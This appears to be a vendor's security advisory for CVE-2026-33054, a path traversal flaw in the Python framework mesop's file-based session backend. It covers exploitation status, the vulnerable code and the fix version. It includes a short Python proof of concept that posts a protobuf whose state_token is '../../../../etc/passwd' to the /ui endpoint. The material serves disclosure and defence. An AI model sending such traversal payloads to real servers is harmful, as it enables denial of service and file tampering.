CVE-2026-33054 is a critical-severity (CVSS 10) Path Traversal vulnerability in mesop. A fix is available for mesop — see the affected versions and patch details below.
Mesop: Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33054.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33054 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
mesopReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.
Details
When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk.
In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent.
Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).
# mesop/server/state_session.py
def _make_file_path(self, token: str) -> Path:
return self.base_dir / (self.prefix + token)
Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.
PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.
import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled
# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd"
# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"
serialized_event = user_event.SerializeToString()
# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
"http://localhost:32123/ui",
data=serialized_event,
headers=headers
)
# The server will attempt to parse /etc/passwd using msgpack,
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)
Impact
This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mesop | all versions | 1.2.3pip install --upgrade 'mesop==1.2.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mesop, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mesop to 1.2.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33054 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33054 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33054. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33054 in your dependencies?
O3 Security finds CVE-2026-33054 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.